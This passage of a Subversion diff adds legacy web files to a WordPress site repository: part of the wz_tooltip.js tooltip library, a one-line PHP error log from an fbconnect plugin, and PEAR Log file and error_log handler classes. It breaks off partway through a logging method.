+			+ '</tr></tbody></table></div>')
+			: '')
+		+ '<div id="WzBoDy" style="position:relative;z-index:0;">'
+		+ '<table' + sTbTrTd + 'id="WzBoDyI" style="' + sCss + '">'
+		+ tt_sContent
+		+ '</td></tr></tbody></table></div>'
+		+ (tt_aV[SHADOW]
+			? ('<div id="WzTtShDwR" style="position:absolute;overflow:hidden;"></div>'
+				+ '<div id="WzTtShDwB" style="position:relative;overflow:hidden;"></div>')
+			: '')
+		);
+	tt_GetSubDivRefs();
+	// Convert DOM node to tip
+	if(tt_t2t && !tt_aV[COPYCONTENT])
+		tt_El2Tip();
+	tt_ExtCallFncs(0, "SubDivsCreated");
+}
+function tt_GetSubDivRefs()
+{
+	var aId = new Array("WzTiTl", "WzTiTlTb", "WzTiTlI", "WzClOsE", "WzBoDy", "WzBoDyI", "WzTtShDwB", "WzTtShDwR");
+
+	for(var i = aId.length; i; --i)
+		tt_aElt[i] = tt_GetElt(aId[i - 1]);
+}
+function tt_FormatTip()
+{
+	var css, w, h, pad = tt_aV[PADDING], padT, wBrd = tt_aV[BORDERWIDTH],
+	iOffY, iOffSh, iAdd = (pad + wBrd) << 1;
+
+	//--------- Title DIV ----------
+	if(tt_aV[TITLE].length)
+	{
+		padT = tt_aV[TITLEPADDING];
+		css = tt_aElt[1].style;
+		css.background = tt_aV[TITLEBGCOLOR];
+		css.paddingTop = css.paddingBottom = padT + "px";
+		css.paddingLeft = css.paddingRight = (padT + 2) + "px";
+		css = tt_aElt[3].style;
+		css.color = tt_aV[TITLEFONTCOLOR];
+		if(tt_aV[WIDTH] == -1)
+			css.whiteSpace = "nowrap";
+		css.fontFamily = tt_aV[TITLEFONTFACE];
+		css.fontSize = tt_aV[TITLEFONTSIZE];
+		css.fontWeight = "bold";
+		css.textAlign = tt_aV[TITLEALIGN];
+		// Close button DIV
+		if(tt_aElt[4])
+		{
+			css = tt_aElt[4].style;
+			css.background = tt_aV[CLOSEBTNCOLORS][0];
+			css.color = tt_aV[CLOSEBTNCOLORS][1];
+			css.fontFamily = tt_aV[TITLEFONTFACE];
+			css.fontSize = tt_aV[TITLEFONTSIZE];
+			css.fontWeight = "bold";
+		}
+		if(tt_aV[WIDTH] > 0)
+			tt_w = tt_aV[WIDTH];
+		else
+		{
+			tt_w = tt_GetDivW(tt_aElt[3]) + tt_GetDivW(tt_aElt[4]);
+			// Some spacing between title DIV and closebutton
+			if(tt_aElt[4])
+				tt_w += pad;
+			// Restrict auto width to max width
+			if(tt_aV[WIDTH] < -1 && tt_w > -tt_aV[WIDTH])
+				tt_w = -tt_aV[WIDTH];
+		}
+		// Ensure the top border of the body DIV be covered by the title DIV
+		iOffY = -wBrd;
+	}
+	else
+	{
+		tt_w = 0;
+		iOffY = 0;
+	}
+
+	//-------- Body DIV ------------
+	css = tt_aElt[5].style;
+	css.top = iOffY + "px";
+	if(wBrd)
+	{
+		css.borderColor = tt_aV[BORDERCOLOR];
+		css.borderStyle = tt_aV[BORDERSTYLE];
+		css.borderWidth = wBrd + "px";
+	}
+	if(tt_aV[BGCOLOR].length)
+		css.background = tt_aV[BGCOLOR];
+	if(tt_aV[BGIMG].length)
+		css.backgroundImage = "url(" + tt_aV[BGIMG] + ")";
+	css.padding = pad + "px";
+	css.textAlign = tt_aV[TEXTALIGN];
+	if(tt_aV[HEIGHT])
+	{
+		css.overflow = "auto";
+		if(tt_aV[HEIGHT] > 0)
+			css.height = (tt_aV[HEIGHT] + iAdd) + "px";
+		else
+			tt_h = iAdd - tt_aV[HEIGHT];
+	}
+	// TD inside body DIV
+	css = tt_aElt[6].style;
+	css.color = tt_aV[FONTCOLOR];
+	css.fontFamily = tt_aV[FONTFACE];
+	css.fontSize = tt_aV[FONTSIZE];
+	css.fontWeight = tt_aV[FONTWEIGHT];
+	css.textAlign = tt_aV[TEXTALIGN];
+	if(tt_aV[WIDTH] > 0)
+		w = tt_aV[WIDTH];
+	// Width like title (if existent)
+	else if(tt_aV[WIDTH] == -1 && tt_w)
+		w = tt_w;
+	else
+	{
+		// Measure width of the body's inner TD, as some browsers would expand
+		// the container and outer body DIV to 100%
+		w = tt_GetDivW(tt_aElt[6]);
+		// Restrict auto width to max width
+		if(tt_aV[WIDTH] < -1 && w > -tt_aV[WIDTH])
+			w = -tt_aV[WIDTH];
+	}
+	if(w > tt_w)
+		tt_w = w;
+	tt_w += iAdd;
+
+	//--------- Shadow DIVs ------------
+	if(tt_aV[SHADOW])
+	{
+		tt_w += tt_aV[SHADOWWIDTH];
+		iOffSh = Math.floor((tt_aV[SHADOWWIDTH] * 4) / 3);
+		// Bottom shadow
+		css = tt_aElt[7].style;
+		css.top = iOffY + "px";
+		css.left = iOffSh + "px";
+		css.width = (tt_w - iOffSh - tt_aV[SHADOWWIDTH]) + "px";
+		css.height = tt_aV[SHADOWWIDTH] + "px";
+		css.background = tt_aV[SHADOWCOLOR];
+		// Right shadow
+		css = tt_aElt[8].style;
+		css.top = iOffSh + "px";
+		css.left = (tt_w - tt_aV[SHADOWWIDTH]) + "px";
+		css.width = tt_aV[SHADOWWIDTH] + "px";
+		css.background = tt_aV[SHADOWCOLOR];
+	}
+	else
+		iOffSh = 0;
+
+	//-------- Container DIV -------
+	tt_SetTipOpa(tt_aV[FADEIN] ? 0 : tt_aV[OPACITY]);
+	tt_FixSize(iOffY, iOffSh);
+}
+// Fixate the size so it can't dynamically change while the tooltip is moving.
+function tt_FixSize(iOffY, iOffSh)
+{
+	var wIn, wOut, h, add, pad = tt_aV[PADDING], wBrd = tt_aV[BORDERWIDTH], i;
+
+	tt_aElt[0].style.width = tt_w + "px";
+	tt_aElt[0].style.pixelWidth = tt_w;
+	wOut = tt_w - ((tt_aV[SHADOW]) ? tt_aV[SHADOWWIDTH] : 0);
+	// Body
+	wIn = wOut;
+	if(!tt_bBoxOld)
+		wIn -= (pad + wBrd) << 1;
+	tt_aElt[5].style.width = wIn + "px";
+	// Title
+	if(tt_aElt[1])
+	{
+		wIn = wOut - ((tt_aV[TITLEPADDING] + 2) << 1);
+		if(!tt_bBoxOld)
+			wOut = wIn;
+		tt_aElt[1].style.width = wOut + "px";
+		tt_aElt[2].style.width = wIn + "px";
+	}
+	// Max height specified
+	if(tt_h)
+	{
+		h = tt_GetDivH(tt_aElt[5]);
+		if(h > tt_h)
+		{
+			if(!tt_bBoxOld)
+				tt_h -= (pad + wBrd) << 1;
+			tt_aElt[5].style.height = tt_h + "px";
+		}
+	}
+	tt_h = tt_GetDivH(tt_aElt[0]) + iOffY;
+	// Right shadow
+	if(tt_aElt[8])
+		tt_aElt[8].style.height = (tt_h - iOffSh) + "px";
+	i = tt_aElt.length - 1;
+	if(tt_aElt[i])
+	{
+		tt_aElt[i].style.width = tt_w + "px";
+		tt_aElt[i].style.height = tt_h + "px";
+	}
+}
+function tt_DeAlt(el)
+{
+	var aKid;
+
+	if(el)
+	{
+		if(el.alt)
+			el.alt = "";
+		if(el.title)
+			el.title = "";
+		aKid = el.childNodes || el.children || null;
+		if(aKid)
+		{
+			for(var i = aKid.length; i;)
+				tt_DeAlt(aKid[--i]);
+		}
+	}
+}
+// This hack removes the native tooltips over links in Opera
+function tt_OpDeHref(el)
+{
+	if(!tt_op)
+		return;
+	if(tt_elDeHref)
+		tt_OpReHref();
+	while(el)
+	{
+		if(el.hasAttribute && el.hasAttribute("href"))
+		{
+			el.t_href = el.getAttribute("href");
+			el.t_stats = window.status;
+			el.removeAttribute("href");
+			el.style.cursor = "hand";
+			tt_AddEvtFnc(el, "mousedown", tt_OpReHref);
+			window.status = el.t_href;
+			tt_elDeHref = el;
+			break;
+		}
+		el = tt_GetDad(el);
+	}
+}
+function tt_OpReHref()
+{
+	if(tt_elDeHref)
+	{
+		tt_elDeHref.setAttribute("href", tt_elDeHref.t_href);
+		tt_RemEvtFnc(tt_elDeHref, "mousedown", tt_OpReHref);
+		window.status = tt_elDeHref.t_stats;
+		tt_elDeHref = null;
+	}
+}
+function tt_El2Tip()
+{
+	var css = tt_t2t.style;
+
+	// Store previous positioning
+	tt_t2t.t_cp = css.position;
+	tt_t2t.t_cl = css.left;
+	tt_t2t.t_ct = css.top;
+	tt_t2t.t_cd = css.display;
+	// Store the tag's parent element so we can restore that DOM branch
+	// when the tooltip is being hidden
+	tt_t2tDad = tt_GetDad(tt_t2t);
+	tt_MovDomNode(tt_t2t, tt_t2tDad, tt_aElt[6]);
+	css.display = "block";
+	css.position = "static";
+	css.left = css.top = css.marginLeft = css.marginTop = "0px";
+}
+function tt_UnEl2Tip()
+{
+	// Restore positioning and display
+	var css = tt_t2t.style;
+
+	css.display = tt_t2t.t_cd;
+	tt_MovDomNode(tt_t2t, tt_GetDad(tt_t2t), tt_t2tDad);
+	css.position = tt_t2t.t_cp;
+	css.left = tt_t2t.t_cl;
+	css.top = tt_t2t.t_ct;
+	tt_t2tDad = null;
+}
+function tt_OverInit()
+{
+	if(window.event)
+		tt_over = window.event.target || window.event.srcElement;
+	else
+		tt_over = tt_ovr_;
+	tt_DeAlt(tt_over);
+	tt_OpDeHref(tt_over);
+}
+function tt_ShowInit()
+{
+	tt_tShow.Timer("tt_Show()", tt_aV[DELAY], true);
+	if(tt_aV[CLICKCLOSE] || tt_aV[CLICKSTICKY])
+		tt_AddEvtFnc(document, "mouseup", tt_OnLClick);
+}
+function tt_Show()
+{
+	var css = tt_aElt[0].style;
+
+	// Override the z-index of the topmost wz_dragdrop.js D&D item
+	css.zIndex = Math.max((window.dd && dd.z) ? (dd.z + 2) : 0, 1010);
+	if(tt_aV[STICKY] || !tt_aV[FOLLOWMOUSE])
+		tt_iState &= ~0x4;
+	if(tt_aV[EXCLUSIVE])
+		tt_iState |= 0x8;
+	if(tt_aV[DURATION] > 0)
+		tt_tDurt.Timer("tt_HideInit()", tt_aV[DURATION], true);
+	tt_ExtCallFncs(0, "Show")
+	css.visibility = "visible";
+	tt_iState |= 0x2;
+	if(tt_aV[FADEIN])
+		tt_Fade(0, 0, tt_aV[OPACITY], Math.round(tt_aV[FADEIN] / tt_aV[FADEINTERVAL]));
+	tt_ShowIfrm();
+}
+function tt_ShowIfrm()
+{
+	if(tt_ie56)
+	{
+		var ifrm = tt_aElt[tt_aElt.length - 1];
+		if(ifrm)
+		{
+			var css = ifrm.style;
+			css.zIndex = tt_aElt[0].style.zIndex - 1;
+			css.display = "block";
+		}
+	}
+}
+function tt_Move(e)
+{
+	if(e)
+		tt_ovr_ = e.target || e.srcElement;
+	e = e || window.event;
+	if(e)
+	{
+		tt_musX = tt_GetEvtX(e);
+		tt_musY = tt_GetEvtY(e);
+	}
+	if(tt_iState & 0x4)
+	{
+		// Prevent jam of mousemove events
+		if(!tt_op && !tt_ie)
+		{
+			if(tt_bWait)
+				return;
+			tt_bWait = true;
+			tt_tWaitMov.Timer("tt_bWait = false;", 1, true);
+		}
+		if(tt_aV[FIX])
+		{
+			tt_iState &= ~0x4;
+			tt_PosFix();
+		}
+		else if(!tt_ExtCallFncs(e, "MoveBefore"))
+			tt_SetTipPos(tt_Pos(0), tt_Pos(1));
+		tt_ExtCallFncs([tt_musX, tt_musY], "MoveAfter")
+	}
+}
+function tt_Pos(iDim)
+{
+	var iX, bJmpMod, cmdAlt, cmdOff, cx, iMax, iScrl, iMus, bJmp;
+
+	// Map values according to dimension to calculate
+	if(iDim)
+	{
+		bJmpMod = tt_aV[JUMPVERT];
+		cmdAlt = ABOVE;
+		cmdOff = OFFSETY;
+		cx = tt_h;
+		iMax = tt_maxPosY;
+		iScrl = tt_GetScrollY();
+		iMus = tt_musY;
+		bJmp = tt_bJmpVert;
+	}
+	else
+	{
+		bJmpMod = tt_aV[JUMPHORZ];
+		cmdAlt = LEFT;
+		cmdOff = OFFSETX;
+		cx = tt_w;
+		iMax = tt_maxPosX;
+		iScrl = tt_GetScrollX();
+		iMus = tt_musX;
+		bJmp = tt_bJmpHorz;
+	}
+	if(bJmpMod)
+	{
+		if(tt_aV[cmdAlt] && (!bJmp || tt_CalcPosAlt(iDim) >= iScrl + 16))
+			iX = tt_PosAlt(iDim);
+		else if(!tt_aV[cmdAlt] && bJmp && tt_CalcPosDef(iDim) > iMax - 16)
+			iX = tt_PosAlt(iDim);
+		else
+			iX = tt_PosDef(iDim);
+	}
+	else
+	{
+		iX = iMus;
+		if(tt_aV[cmdAlt])
+			iX -= cx + tt_aV[cmdOff] - (tt_aV[SHADOW] ? tt_aV[SHADOWWIDTH] : 0);
+		else
+			iX += tt_aV[cmdOff];
+	}
+	// Prevent tip from extending past clientarea boundary
+	if(iX > iMax)
+		iX = bJmpMod ? tt_PosAlt(iDim) : iMax;
+	// In case of insufficient space on both sides, ensure the left/upper part
+	// of the tip be visible
+	if(iX < iScrl)
+		iX = bJmpMod ? tt_PosDef(iDim) : iScrl;
+	return iX;
+}
+function tt_PosDef(iDim)
+{
+	if(iDim)
+		tt_bJmpVert = tt_aV[ABOVE];
+	else
+		tt_bJmpHorz = tt_aV[LEFT];
+	return tt_CalcPosDef(iDim);
+}
+function tt_PosAlt(iDim)
+{
+	if(iDim)
+		tt_bJmpVert = !tt_aV[ABOVE];
+	else
+		tt_bJmpHorz = !tt_aV[LEFT];
+	return tt_CalcPosAlt(iDim);
+}
+function tt_CalcPosDef(iDim)
+{
+	return iDim ? (tt_musY + tt_aV[OFFSETY]) : (tt_musX + tt_aV[OFFSETX]);
+}
+function tt_CalcPosAlt(iDim)
+{
+	var cmdOff = iDim ? OFFSETY : OFFSETX;
+	var dx = tt_aV[cmdOff] - (tt_aV[SHADOW] ? tt_aV[SHADOWWIDTH] : 0);
+	if(tt_aV[cmdOff] > 0 && dx <= 0)
+		dx = 1;
+	return((iDim ? (tt_musY - tt_h) : (tt_musX - tt_w)) - dx);
+}
+function tt_PosFix()
+{
+	var iX, iY;
+
+	if(typeof(tt_aV[FIX][0]) == "number")
+	{
+		iX = tt_aV[FIX][0];
+		iY = tt_aV[FIX][1];
+	}
+	else
+	{
+		if(typeof(tt_aV[FIX][0]) == "string")
+			el = tt_GetElt(tt_aV[FIX][0]);
+		// First slot in array is direct reference to HTML element
+		else
+			el = tt_aV[FIX][0];
+		iX = tt_aV[FIX][1];
+		iY = tt_aV[FIX][2];
+		// By default, vert pos is related to bottom edge of HTML element
+		if(!tt_aV[ABOVE] && el)
+			iY += tt_GetDivH(el);
+		for(; el; el = el.offsetParent)
+		{
+			iX += el.offsetLeft || 0;
+			iY += el.offsetTop || 0;
+		}
+	}
+	// For a fixed tip positioned above the mouse, use the bottom edge as anchor
+	// (recommended by Christophe Rebeschini, 31.1.2008)
+	if(tt_aV[ABOVE])
+		iY -= tt_h;
+	tt_SetTipPos(iX, iY);
+}
+function tt_Fade(a, now, z, n)
+{
+	if(n)
+	{
+		now += Math.round((z - now) / n);
+		if((z > a) ? (now >= z) : (now <= z))
+			now = z;
+		else
+			tt_tFade.Timer(
+				"tt_Fade("
+				+ a + "," + now + "," + z + "," + (n - 1)
+				+ ")",
+				tt_aV[FADEINTERVAL],
+				true
+			);
+	}
+	now ? tt_SetTipOpa(now) : tt_Hide();
+}
+function tt_SetTipOpa(opa)
+{
+	// To circumvent the opacity nesting flaws of IE, we set the opacity
+	// for each sub-DIV separately, rather than for the container DIV.
+	tt_SetOpa(tt_aElt[5], opa);
+	if(tt_aElt[1])
+		tt_SetOpa(tt_aElt[1], opa);
+	if(tt_aV[SHADOW])
+	{
+		opa = Math.round(opa * 0.8);
+		tt_SetOpa(tt_aElt[7], opa);
+		tt_SetOpa(tt_aElt[8], opa);
+	}
+}
+function tt_OnCloseBtnOver(iOver)
+{
+	var css = tt_aElt[4].style;
+
+	iOver <<= 1;
+	css.background = tt_aV[CLOSEBTNCOLORS][iOver];
+	css.color = tt_aV[CLOSEBTNCOLORS][iOver + 1];
+}
+function tt_OnLClick(e)
+{
+	//  Ignore right-clicks
+	e = e || window.event;
+	if(!((e.button && e.button & 2) || (e.which && e.which == 3)))
+	{
+		if(tt_aV[CLICKSTICKY] && (tt_iState & 0x4))
+		{
+			tt_aV[STICKY] = true;
+			tt_iState &= ~0x4;
+		}
+		else if(tt_aV[CLICKCLOSE])
+			tt_HideInit();
+	}
+}
+function tt_Int(x)
+{
+	var y;
+
+	return(isNaN(y = parseInt(x)) ? 0 : y);
+}
+Number.prototype.Timer = function(s, iT, bUrge)
+{
+	if(!this.value || bUrge)
+		this.value = window.setTimeout(s, iT);
+}
+Number.prototype.EndTimer = function()
+{
+	if(this.value)
+	{
+		window.clearTimeout(this.value);
+		this.value = 0;
+	}
+}
+function tt_GetWndCliSiz(s)
+{
+	var db, y = window["inner" + s], sC = "client" + s, sN = "number";
+	if(typeof y == sN)
+	{
+		var y2;
+		return(
+			// Gecko or Opera with scrollbar
+			// ... quirks mode
+			((db = document.body) && typeof(y2 = db[sC]) == sN && y2 &&  y2 <= y) ? y2
+			// ... strict mode
+			: ((db = document.documentElement) && typeof(y2 = db[sC]) == sN && y2 && y2 <= y) ? y2
+			// No scrollbar, or clientarea size == 0, or other browser (KHTML etc.)
+			: y
+		);
+	}
+	// IE
+	return(
+		// document.documentElement.client+s functional, returns > 0
+		((db = document.documentElement) && (y = db[sC])) ? y
+		// ... not functional, in which case document.body.client+s
+		// is the clientarea size, fortunately
+		: document.body[sC]
+	);
+}
+function tt_SetOpa(el, opa)
+{
+	var css = el.style;
+
+	tt_opa = opa;
+	if(tt_flagOpa == 1)
+	{
+		if(opa < 100)
+		{
+			// Hacks for bugs of IE:
+			// 1.) Once a CSS filter has been applied, fonts are no longer
+			// anti-aliased, so we store the previous 'non-filter' to be
+			// able to restore it
+			if(typeof(el.filtNo) == tt_u)
+				el.filtNo = css.filter;
+			// 2.) A DIV cannot be made visible in a single step if an
+			// opacity < 100 has been applied while the DIV was hidden
+			var bVis = css.visibility != "hidden";
+			// 3.) In IE6, applying an opacity < 100 has no effect if the
+			//	   element has no layout (position, size, zoom, ...)
+			css.zoom = "100%";
+			if(!bVis)
+				css.visibility = "visible";
+			css.filter = "alpha(opacity=" + opa + ")";
+			if(!bVis)
+				css.visibility = "hidden";
+		}
+		else if(typeof(el.filtNo) != tt_u)
+			// Restore 'non-filter'
+			css.filter = el.filtNo;
+	}
+	else
+	{
+		opa /= 100.0;
+		switch(tt_flagOpa)
+		{
+		case 2:
+			css.KhtmlOpacity = opa; break;
+		case 3:
+			css.KHTMLOpacity = opa; break;
+		case 4:
+			css.MozOpacity = opa; break;
+		case 5:
+			css.opacity = opa; break;
+		}
+	}
+}
+function tt_Err(sErr, bIfDebug)
+{
+	if(tt_Debug || !bIfDebug)
+		alert("Tooltip Script Error Message:\n\n" + sErr);
+}
+
+//============  EXTENSION (PLUGIN) MANAGER  ===============//
+function tt_ExtCmdEnum()
+{
+	var s;
+
+	// Add new command(s) to the commands enum
+	for(var i in config)
+	{
+		s = "window." + i.toString().toUpperCase();
+		if(eval("typeof(" + s + ") == tt_u"))
+		{
+			eval(s + " = " + tt_aV.length);
+			tt_aV[tt_aV.length] = null;
+		}
+	}
+}
+function tt_ExtCallFncs(arg, sFnc)
+{
+	var b = false;
+	for(var i = tt_aExt.length; i;)
+	{--i;
+		var fnc = tt_aExt[i]["On" + sFnc];
+		// Call the method the extension has defined for this event
+		if(fnc && fnc(arg))
+			b = true;
+	}
+	return b;
+}
+
+tt_Init();
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/Log/error_log
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/Log/error_log	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/Log/error_log	(revision 44)
@@ -0,0 +1,1 @@
+[29-Nov-2008 09:19:31] PHP Fatal error:  Class 'Log' not found in /home/d316384/public_html/wp-content/plugins/fbconnect/Log/file.php on line 20
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/Log/error_log.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/Log/error_log.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/Log/error_log.php	(revision 44)
@@ -0,0 +1,127 @@
+<?php
+/**
+ * $Header: /repository/pear/Log/Log/error_log.php,v 1.8 2006/06/29 07:09:21 jon Exp $
+ *
+ * @version $Revision: 1.8 $
+ * @package Log
+ */
+
+/**
+ * The Log_error_log class is a concrete implementation of the Log abstract
+ * class that logs messages using PHP's error_log() function.
+ *
+ * @author  Jon Parise <jon@php.net>
+ * @since   Log 1.7.0
+ * @package Log
+ *
+ * @example error_log.php   Using the error_log handler.
+ */
+class Log_error_log extends Log
+{
+    /**
+     * The error_log() log type.
+     * @var integer
+     * @access private
+     */
+    var $_type = PEAR_LOG_TYPE_SYSTEM;
+
+    /**
+     * The type-specific destination value.
+     * @var string
+     * @access private
+     */
+    var $_destination = '';
+
+    /**
+     * Additional headers to pass to the mail() function when the
+     * PEAR_LOG_TYPE_MAIL type is used.
+     * @var string
+     * @access private
+     */
+    var $_extra_headers = '';
+
+    /**
+     * Constructs a new Log_error_log object.
+     *
+     * @param string $name     Ignored.
+     * @param string $ident    The identity string.
+     * @param array  $conf     The configuration array.
+     * @param int    $level    Log messages up to and including this level.
+     * @access public
+     */
+    function Log_error_log($name, $ident = '', $conf = array(),
+                           $level = PEAR_LOG_DEBUG)
+    {
+        $this->_id = md5(microtime());
+        $this->_type = $name;
+        $this->_ident = $ident;
+        $this->_mask = Log::UPTO($level);
+
+        if (!empty($conf['destination'])) {
+            $this->_destination = $conf['destination'];
+        }
+        if (!empty($conf['extra_headers'])) {
+            $this->_extra_headers = $conf['extra_headers'];
+        }
+    }
+
+    /**
+     * Opens the handler.
+     *
+     * @access  public
+     * @since   Log 1.9.6
+     */
+    function open()
+    {
+        $this->_opened = true;
+        return true;
+    }
+
+    /**
+     * Closes the handler.
+     *
+     * @access  public
+     * @since   Log 1.9.6
+     */
+    function close()
+    {
+        $this->_opened = false;
+        return true;
+    }
+
+    /**
+     * Logs $message using PHP's error_log() function.  The message is also
+     * passed along to any Log_observer instances that are observing this Log.
+     *
+     * @param mixed  $message   String or object containing the message to log.
+     * @param string $priority The priority of the message.  Valid
+     *                  values are: PEAR_LOG_EMERG, PEAR_LOG_ALERT,
+     *                  PEAR_LOG_CRIT, PEAR_LOG_ERR, PEAR_LOG_WARNING,
+     *                  PEAR_LOG_NOTICE, PEAR_LOG_INFO, and PEAR_LOG_DEBUG.
+     * @return boolean  True on success or false on failure.
+     * @access public
+     */
+    function log($message, $priority = null)
+    {
+        /* If a priority hasn't been specified, use the default value. */
+        if ($priority === null) {
+            $priority = $this->_priority;
+        }
+
+        /* Abort early if the priority is above the maximum logging level. */
+        if (!$this->_isMasked($priority)) {
+            return false;
+        }
+
+        /* Extract the string representation of the message. */
+        $message = $this->_extractMessage($message);
+
+        $success = error_log($this->_ident . ': ' . $message, $this->_type,
+                             $this->_destination, $this->_extra_headers);
+
+        $this->_announce(array('priority' => $priority, 'message' => $message));
+
+        return $success;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/Log/file.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/Log/file.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/Log/file.php	(revision 44)
@@ -0,0 +1,316 @@
+<?php
+/**
+ * $Header: /repository/pear/Log/Log/file.php,v 1.46 2006/12/07 04:15:02 jon Exp $
+ *
+ * @version $Revision: 1.46 $
+ * @package Log
+ */
+
+/**
+ * The Log_file class is a concrete implementation of the Log abstract
+ * class that logs messages to a text file.
+ * 
+ * @author  Jon Parise <jon@php.net>
+ * @author  Roman Neuhauser <neuhauser@bellavista.cz>
+ * @since   Log 1.0
+ * @package Log
+ *
+ * @example file.php    Using the file handler.
+ */
+class Log_file extends Log
+{
+    /**
+     * String containing the name of the log file.
+     * @var string
+     * @access private
+     */
+    var $_filename = 'php.log';
+
+    /**
+     * Handle to the log file.
+     * @var resource
+     * @access private
+     */
+    var $_fp = false;
+
+    /**
+     * Should new log entries be append to an existing log file, or should the
+     * a new log file overwrite an existing one?
+     * @var boolean
+     * @access private
+     */
+    var $_append = true;
+
+    /**
+     * Should advisory file locking (i.e., flock()) be used?
+     * @var boolean
+     * @access private
+     */
+    var $_locking = false;
+
+    /**
+     * Integer (in octal) containing the log file's permissions mode.
+     * @var integer
+     * @access private
+     */
+    var $_mode = 0644;
+
+    /**
+     * Integer (in octal) specifying the file permission mode that will be
+     * used when creating directories that do not already exist.
+     * @var integer
+     * @access private
+     */
+    var $_dirmode = 0755;
+
+    /**
+     * String containing the format of a log line.
+     * @var string
+     * @access private
+     */
+    var $_lineFormat = '%1$s %2$s [%3$s] %4$s';
+
+    /**
+     * String containing the timestamp format.  It will be passed directly to
+     * strftime().  Note that the timestamp string will generated using the
+     * current locale.
+     * @var string
+     * @access private
+     */
+    var $_timeFormat = '%b %d %H:%M:%S';
+
+    /**
+     * String containing the end-on-line character sequence.
+     * @var string
+     * @access private
+     */
+    var $_eol = "\n";
+
+    /**
+     * Constructs a new Log_file object.
+     *
+     * @param string $name     Ignored.
+     * @param string $ident    The identity string.
+     * @param array  $conf     The configuration array.
+     * @param int    $level    Log messages up to and including this level.
+     * @access public
+     */
+    function Log_file($name, $ident = '', $conf = array(),
+                      $level = PEAR_LOG_DEBUG)
+    {
+        $this->_id = md5(microtime());
+        $this->_filename = $name;
+        $this->_ident = $ident;
+        $this->_mask = Log::UPTO($level);
+
+        if (isset($conf['append'])) {
+            $this->_append = $conf['append'];
+        }
+
+        if (isset($conf['locking'])) {
+            $this->_locking = $conf['locking'];
+        }
+
+        if (!empty($conf['mode'])) {
+            if (is_string($conf['mode'])) {
+                $this->_mode = octdec($conf['mode']);
+            } else {
+                $this->_mode = $conf['mode'];
+            }
+        }
+
+        if (!empty($conf['dirmode'])) {
+            if (is_string($conf['dirmode'])) {
+                $this->_dirmode = octdec($conf['dirmode']);
+            } else {
+                $this->_dirmode = $conf['dirmode'];
+            }
+        }
+
+        if (!empty($conf['lineFormat'])) {
+            $this->_lineFormat = str_replace(array_keys($this->_formatMap),
+                                             array_values($this->_formatMap),
+                                             $conf['lineFormat']);
+        }
+
+        if (!empty($conf['timeFormat'])) {
+            $this->_timeFormat = $conf['timeFormat'];
+        }
+
+        if (!empty($conf['eol'])) {
+            $this->_eol = $conf['eol'];
+        } else {
+            $this->_eol = (strstr(PHP_OS, 'WIN')) ? "\r\n" : "\n";
+        }
+
+        register_shutdown_function(array(&$this, '_Log_file'));
+    }
+
+    /**
+     * Destructor
+     */
+    function _Log_file()
+    {
+        if ($this->_opened) {
+            $this->close();
+        }
+    }
+
+    /**
+     * Creates the given directory path.  If the parent directories don't
+     * already exist, they will be created, too.
+     *
+     * This implementation is inspired by Python's os.makedirs function.
+     *
+     * @param   string  $path       The full directory path to create.
+     * @param   integer $mode       The permissions mode with which the
+     *                              directories will be created.
+     *
+     * @return  True if the full path is successfully created or already
+     *          exists.
+     *
+     * @access  private
+     */
+    function _mkpath($path, $mode = 0700)
+    {
+        /* Separate the last pathname component from the rest of the path. */
+        $head = dirname($path);
+        $tail = basename($path);
+
+        /* Make sure we've split the path into two complete components. */
+        if (empty($tail)) {
+            $head = dirname($path);
+            $tail = basename($path);
+        }
+
+        /* Recurse up the path if our current segment does not exist. */
+        if (!empty($head) && !empty($tail) && !is_dir($head)) {
+            $this->_mkpath($head, $mode);
+        }
+
+        /* Create this segment of the path. */
+        return @mkdir($head, $mode);
+    }
+
+    /**
+     * Opens the log file for output.  If the specified log file does not
+     * already exist, it will be created.  By default, new log entries are
+     * appended to the end of the log file.
+     *
+     * This is implicitly called by log(), if necessary.
+     *
+     * @access public
+     */
+    function open()
+    {
+        if (!$this->_opened) {
+            /* If the log file's directory doesn't exist, create it. */
+            if (!is_dir(dirname($this->_filename))) {
+                $this->_mkpath($this->_filename, $this->_dirmode);
+            }
+
+            /* Determine whether the log file needs to be created. */
+            $creating = !file_exists($this->_filename);
+
+            /* Obtain a handle to the log file. */
+            $this->_fp = fopen($this->_filename, ($this->_append) ? 'a' : 'w');
+
+            /* We consider the file "opened" if we have a valid file pointer. */
+            $this->_opened = ($this->_fp !== false);
+
+            /* Attempt to set the file's permissions if we just created it. */
+            if ($creating && $this->_opened) {
+                chmod($this->_filename, $this->_mode);
+            }
+        }
+
+        return $this->_opened;
+    }
+
+    /**
+     * Closes the log file if it is open.
+     *
+     * @access public
+     */
+    function close()
+    {
+        /* If the log file is open, close it. */
+        if ($this->_opened && fclose($this->_fp)) {
+            $this->_opened = false;
+        }
+
+        return ($this->_opened === false);
+    }
+
+    /**
+     * Flushes all pending data to the file handle.
+     *
+     * @access public
+     * @since Log 1.8.2
+     */
+    function flush()
+    {
+        if (is_resource($this->_fp)) {
+            return fflush($this->_fp);
+        }
+
+        return false;
+    }
+
+    /**
+     * Logs $message to the output window.  The message is also passed along
+     * to any Log_observer instances that are observing this Log.
+     *
+     * @param mixed  $message  String or object containing the message to log.
+     * @param string $priority The priority of the message.  Valid
+     *                  values are: PEAR_LOG_EMERG, PEAR_LOG_ALERT,
+     *                  PEAR_LOG_CRIT, PEAR_LOG_ERR, PEAR_LOG_WARNING,
+     *                  PEAR_LOG_NOTICE, PEAR_LOG_INFO, and PEAR_LOG_DEBUG.
+     * @return boolean  True on success or false on failure.
+     * @access public
+     */
+    function log($message, $priority = null)
+    {
+        /* If a priority hasn't been specified, use the default value. */
+        if ($priority === null) {
+            $priority = $this->_priority;
+        }
+
+        /* Abort early if the priority is above the maximum logging level. */
+        if (!$this->_isMasked($priority)) {
+            return false;
+        }
+
+        /* If the log file isn't already open, open it now. */
+        if (!$this->_opened && !$this->open()) {
+            return false;
+        }
+
